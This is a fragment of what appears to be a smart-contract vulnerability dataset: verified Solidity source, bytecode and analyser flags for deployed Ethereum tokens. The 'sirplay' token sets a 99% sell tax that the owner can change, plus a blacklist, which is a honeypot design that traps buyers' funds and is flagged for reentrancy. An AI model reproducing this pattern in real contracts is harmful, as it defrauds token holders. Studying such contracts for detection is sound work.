"Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,991 |
0x21a406779ee075950cfbe5e5d04fa715eeb7f82b | /**
*Submitted for verification at Etherscan.io on 2022-03-22
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract sirplay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "sirplay.com/zh-hans/";
string private constant _symbol = "SIRPLAY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 99;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0x1Ad24EA7BDaC0FD73eb885849Ec2B38709F729d8);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 7500000000000 * 10**9; //7.5
uint256 public _maxWalletSize = 15000000000000 * 10**9; //15
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
} | 0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610537578063c3c8cd8014610567578063dd62ed3e1461057c578063ea1644d5146105c257600080fd5b806398a5c315146104a7578063a2a957bb146104c7578063a9059cbb146104e7578063bdd795ef1461050757600080fd5b80638da5cb5b116100d15780638da5cb5b146104235780638f70ccf7146104415780638f9a55c01461046157806395d89b411461047757600080fd5b8063715018a6146103d857806374010ece146103ed5780637d1db4a51461040d57600080fd5b80632fd689e3116101645780636b9990531161013e5780636b999053146103635780636d8aa8f8146103835780636fc3eaec146103a357806370a08231146103b857600080fd5b80632fd689e314610311578063313ce5671461032757806349bd5a5e1461034357600080fd5b80631694505e116101a05780631694505e1461027257806318160ddd146102aa57806323b872dd146102d15780632f9c4569146102f157600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461024257600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec36600461192c565b6105e2565b005b3480156101ff57600080fd5b50604080518082019091526014815273736972706c61792e636f6d2f7a682d68616e732f60601b60208201525b6040516102399190611a56565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611901565b61068f565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b5069152d02c7e14af68000005b604051908152602001610239565b3480156102dd57600080fd5b506102626102ec36600461188d565b6106a6565b3480156102fd57600080fd5b506101f161030c3660046118cd565b61070f565b34801561031d57600080fd5b506102c360185481565b34801561033357600080fd5b5060405160098152602001610239565b34801561034f57600080fd5b50601554610292906001600160a01b031681565b34801561036f57600080fd5b506101f161037e36600461181d565b6107d3565b34801561038f57600080fd5b506101f161039e3660046119f3565b61081e565b3480156103af57600080fd5b506101f1610866565b3480156103c457600080fd5b506102c36103d336600461181d565b610893565b3480156103e457600080fd5b506101f16108b5565b3480156103f957600080fd5b506101f1610408366004611a0d565b610929565b34801561041957600080fd5b506102c360165481565b34801561042f57600080fd5b506000546001600160a01b0316610292565b34801561044d57600080fd5b506101f161045c3660046119f3565b610958565b34801561046d57600080fd5b506102c360175481565b34801561048357600080fd5b50604080518082019091526007815266534952504c415960c81b602082015261022c565b3480156104b357600080fd5b506101f16104c2366004611a0d565b6109a0565b3480156104d357600080fd5b506101f16104e2366004611a25565b6109cf565b3480156104f357600080fd5b50610262610502366004611901565b610a0d565b34801561051357600080fd5b5061026261052236600461181d565b60116020526000908152604090205460ff1681565b34801561054357600080fd5b5061026261055236600461181d565b60106020526000908152604090205460ff1681565b34801561057357600080fd5b506101f1610a1a565b34801561058857600080fd5b506102c3610597366004611855565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ce57600080fd5b506101f16105dd366004611a0d565b610a50565b6000546001600160a01b031633146106155760405162461bcd60e51b815260040161060c90611aa9565b60405180910390fd5b60005b815181101561068b5760016010600084848151811061064757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068381611bbc565b915050610618565b5050565b600061069c338484610a7f565b5060015b92915050565b60006106b3848484610ba3565b610705843361070085604051806060016040528060288152602001611c19602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110a6565b610a7f565b5060019392505050565b6000546001600160a01b031633146107395760405162461bcd60e51b815260040161060c90611aa9565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107a85760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000604482015260640161060c565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107fd5760405162461bcd60e51b815260040161060c90611aa9565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161060c90611aa9565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461088657600080fd5b47610890816110e0565b50565b6001600160a01b0381166000908152600260205260408120546106a09061111a565b6000546001600160a01b031633146108df5760405162461bcd60e51b815260040161060c90611aa9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109535760405162461bcd60e51b815260040161060c90611aa9565b601655565b6000546001600160a01b031633146109825760405162461bcd60e51b815260040161060c90611aa9565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109ca5760405162461bcd60e51b815260040161060c90611aa9565b601855565b6000546001600160a01b031633146109f95760405162461bcd60e51b815260040161060c90611aa9565b600893909355600a91909155600955600b55565b600061069c338484610ba3565b6013546001600160a01b0316336001600160a01b031614610a3a57600080fd5b6000610a4530610893565b90506108908161119e565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b815260040161060c90611aa9565b601755565b6001600160a01b038316610ae15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060c565b6001600160a01b038216610b425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161060c565b6001600160a01b038216610c695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161060c565b60008111610ccb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161060c565b6000546001600160a01b03848116911614801590610cf757506000546001600160a01b03838116911614155b15610f9957601554600160a01b900460ff16610d9b576001600160a01b03831660009081526011602052604090205460ff16610d9b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161060c565b601654811115610ded5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161060c565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2f57506001600160a01b03821660009081526010602052604090205460ff16155b610e875760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161060c565b6015546001600160a01b03838116911614610f0c5760175481610ea984610893565b610eb39190611b4e565b10610f0c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161060c565b6000610f1730610893565b601854601654919250821015908210610f305760165491505b808015610f475750601554600160a81b900460ff16155b8015610f6157506015546001600160a01b03868116911614155b8015610f765750601554600160b01b900460ff165b15610f9657610f848261119e565b478015610f9457610f94476110e0565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fdb57506001600160a01b03831660009081526005602052604090205460ff165b8061100d57506015546001600160a01b0385811691161480159061100d57506015546001600160a01b03848116911614155b1561101a57506000611094565b6015546001600160a01b03858116911614801561104557506014546001600160a01b03848116911614155b1561105757600854600c55600954600d555b6015546001600160a01b03848116911614801561108257506014546001600160a01b03858116911614155b1561109457600a54600c55600b54600d555b6110a084848484611343565b50505050565b600081848411156110ca5760405162461bcd60e51b815260040161060c9190611a56565b5060006110d78486611ba5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561068b573d6000803e3d6000fd5b60006006548211156111815760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161060c565b600061118b611371565b90506111978382611394565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111f457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561124857600080fd5b505afa15801561125c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112809190611839565b816001815181106112a157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112c79130911684610a7f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611300908590600090869030904290600401611ade565b600060405180830381600087803b15801561131a57600080fd5b505af115801561132e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611350576113506113d6565b61135b848484611404565b806110a0576110a0600e54600c55600f54600d55565b600080600061137e6114fb565b909250905061138d8282611394565b9250505090565b600061119783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153f565b600c541580156113e65750600d54155b156113ed57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114168761156d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061144890876115ca565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611477908661160c565b6001600160a01b0389166000908152600260205260409020556114998161166b565b6114a384836116b5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e891815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af68000006115188282611394565b8210156115365750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115605760405162461bcd60e51b815260040161060c9190611a56565b5060006110d78486611b66565b600080600080600080600080600061158a8a600c54600d546116d9565b925092509250600061159a611371565b905060008060006115ad8e87878761172e565b919e509c509a509598509396509194505050505091939550919395565b600061119783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a6565b6000806116198385611b4e565b9050838110156111975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161060c565b6000611675611371565b90506000611683838361177e565b306000908152600260205260409020549091506116a0908261160c565b30600090815260026020526040902055505050565b6006546116c290836115ca565b6006556007546116d2908261160c565b6007555050565b60008080806116f360646116ed898961177e565b90611394565b9050600061170660646116ed8a8961177e565b9050600061171e826117188b866115ca565b906115ca565b9992985090965090945050505050565b600080808061173d888661177e565b9050600061174b888761177e565b90506000611759888861177e565b9050600061176b8261171886866115ca565b939b939a50919850919650505050505050565b60008261178d575060006106a0565b60006117998385611b86565b9050826117a68583611b66565b146111975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161060c565b803561180881611c03565b919050565b8035801515811461180857600080fd5b60006020828403121561182e578081fd5b813561119781611c03565b60006020828403121561184a578081fd5b815161119781611c03565b60008060408385031215611867578081fd5b823561187281611c03565b9150602083013561188281611c03565b809150509250929050565b6000806000606084860312156118a1578081fd5b83356118ac81611c03565b925060208401356118bc81611c03565b929592945050506040919091013590565b600080604083850312156118df578182fd5b82356118ea81611c03565b91506118f86020840161180d565b90509250929050565b60008060408385031215611913578182fd5b823561191e81611c03565b946020939093013593505050565b6000602080838503121561193e578182fd5b823567ffffffffffffffff80821115611955578384fd5b818501915085601f830112611968578384fd5b81358181111561197a5761197a611bed565b8060051b604051601f19603f8301168101818110858211171561199f5761199f611bed565b604052828152858101935084860182860187018a10156119bd578788fd5b8795505b838610156119e6576119d2816117fd565b8552600195909501949386019386016119c1565b5098975050505050505050565b600060208284031215611a04578081fd5b6111978261180d565b600060208284031215611a1e578081fd5b5035919050565b60008060008060808587031215611a3a578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a8257858101830151858201604001528201611a66565b81811115611a935783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b2d5784516001600160a01b031683529383019391830191600101611b08565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b6157611b61611bd7565b500190565b600082611b8157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ba057611ba0611bd7565b500290565b600082821015611bb757611bb7611bd7565b500390565b6000600019821415611bd057611bd0611bd7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461089057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d62042add29617ddbc58a2b8c19c969ebf81f5b3242b4faf1fe04815fc6b816764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,992 |
0xa984a92731c088f1ea4d53b71a2565a399f7d8d5 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
